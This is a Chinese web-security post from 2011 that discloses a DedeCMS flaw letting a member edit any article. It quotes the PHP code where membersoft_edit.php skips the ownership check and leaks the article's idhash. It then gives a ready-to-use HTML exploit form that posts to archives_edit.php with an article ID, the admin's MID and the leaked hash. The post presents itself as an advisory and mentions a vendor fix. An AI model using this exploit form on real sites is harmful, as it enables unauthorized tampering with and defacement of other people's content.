> 网站安全 > 正文 DEDEdedecms8.com">dedecms8.com">CMS任意修改文章漏洞及修复 2011-01-27 11:04:25 我要投稿 [字体: 大]
摘要:发布日期:2011-01.25 发布作者:心灵 影响版本:DEDECMS 官方网站: 漏洞类型:设计缺陷 漏洞描述:这个漏洞不足以得到马儿 但能修改任何文章 也算是一个严重的漏洞! 废话不说 经典对白 看代码! membersoft_edit.php 01 if(empty(...
发布日期:2011-01.25
发布作者:心灵
影响版本:DEDECMS
官方网站:
漏洞类型:设计缺陷
漏洞描述:这个漏洞不足以得到马儿 但能修改任何文章 也算是一个严重的漏洞!
废话不说
经典对白 看代码!
membersoft_edit.php
01 if(empty($dopost)) //如果这里是空也就是直接访问这个文件
02 {
03 //读取归档信息
04 $arcQuery = "Select
05 dede_channeltype.typename as channelname,
06 dede_arcrank.membername as rankname,
07 dede_channeltype.arcsta,
08 dede_archives.*
09 From dede_archives
10 left join dede_channeltype on dede_channeltype.id=dede_archives.channel
11 left join dede_arcrank on dede_arcrank.rank=dede_archives.arcrank
12 where dede_archives.id=$aid";
13 //悲剧了 没有验证MID信息 AID这里就是文章ID 可以自定义!
14 $dsql->SetQuery($arcQuery);
15 $row = $dsql->GetOne($arcQuery);
16
17 //省略一堆验证代码....
18 include(DEDEMEMBER."/templets/soft_edit.htm"); //载入模板[code]
19 //再看这个soft_edit.htm 的代码
20 //其中一段是
21 <input type="hidden" value="<?php echo md5($row[id].$cfg_cookie_encode); ?>" />
//输出了 idhash 这个很重要
//这样就得到了要修改文章的idhash
//然后用修改文章的文件去利用
看代码archives_edit.php
01 if($dopost==save)
02 {
03 include(DEDEMEMBER./inc/archives_check_edit.php); //这里是验证idhash
04 //省略一堆没用的代码
05 $upQuery = "Update `dede_archives` set
06 ismake=$ismake,
07 arcrank=$arcrank,
08 typeid=$typeid,
09 title=$title,
10 litpic=$litpic,
11 description=$description,
12 keywords=$keywords,
13 mtype = $mtypesid,
14 flag=$flag
15 where id=$aid And mid=$mid; "; //默认的MID是1 也就是ADMIN管理员 aid就是文章ID
现在看下archives_check_edit.php这个文件
1 $ckhash = md5($aid.$cfg_cookie_encode);
2 if($ckhash!=$idhash) //idhash就是这样用的
3 {
4 ShowMsg(校对码错误,你没权限修改此文档或操作不合法!,-1);
5 exit();
6 }
//这样就成功修改文章了
EXP:
01 <form method="post" action="http://www.t00ls.net/member/archives_edit.php?dopost=save" enctype="multipart/form-data">
02 <label>
03 <input type="text" value="44003" /> //这里是文章ID 自己在plus/view.php里找
04 </label>
05 <label>
06 <input type="text" value="1" /> //发布人的MID 默认ADMIN是1
07 </label>
08 <label>
09 <input type="text" value="1" /> // 栏目ID 不知道的就自己新发表一篇然后看源代码找到可以发布的ID
10 </label>
11
12 <label>
13 <input type="text" value="test" /> //文章标题
14 </label>
15
16 <label>
17 <input type="text" value="test" /> //文章内容
18 </label>
19 <label>
20 <input type="text" value="32bbac95e90baaffad905bb3d44edd9f" /> //idhash 在第一步里说了怎么获取了
21 </label>
22 <label>
23 <input type="text" value="1" /> //验证码。。新发布文章就能获取
24 </label>
25 <div></div>
26 <input value="确定修改 " type="submit">
27 </form>
这样就能任意修改任何文章了..........
修复:已提交官方,请注意及时升级
点击复制链接 与QQ/MSN好友分享!分享到:
您对本文章有什么意见或着疑问吗?请到论坛讨论您的关注和建议是我们前行的参考和动力 点击全部查看 上一篇:YuQaIFS V1.0 漏洞0day及修复 下一篇:DEDECMS 会员任意删除文件漏洞及修复 相关文章 图文推荐